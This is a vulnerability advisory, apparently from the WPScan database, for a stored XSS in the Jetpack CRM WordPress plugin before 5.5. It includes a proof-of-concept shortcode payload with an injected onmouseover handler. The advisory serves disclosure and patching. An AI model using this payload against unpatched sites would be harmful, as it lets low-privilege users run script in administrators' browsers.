WordPress Plugin Vulnerabilities
Jetpack CRM < 5.5 - Contributor+ Stored XSS
Description
The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins
Proof of Concept
As a contributor, create a post/page with the following payload (a form from the plugin with id 1 must exist): [jetpackcrm_form id='1"style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//' style='simple'] The XSS will be triggered when the post/page is previewed/viewed and the mouse moved anywhere
Affects Plugins
Fixed in 5.5 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-19 (about 1 years ago)
Added
2022-12-19 (about 1 years ago)
Last Updated
2022-12-19 (about 1 years ago)
WPScan 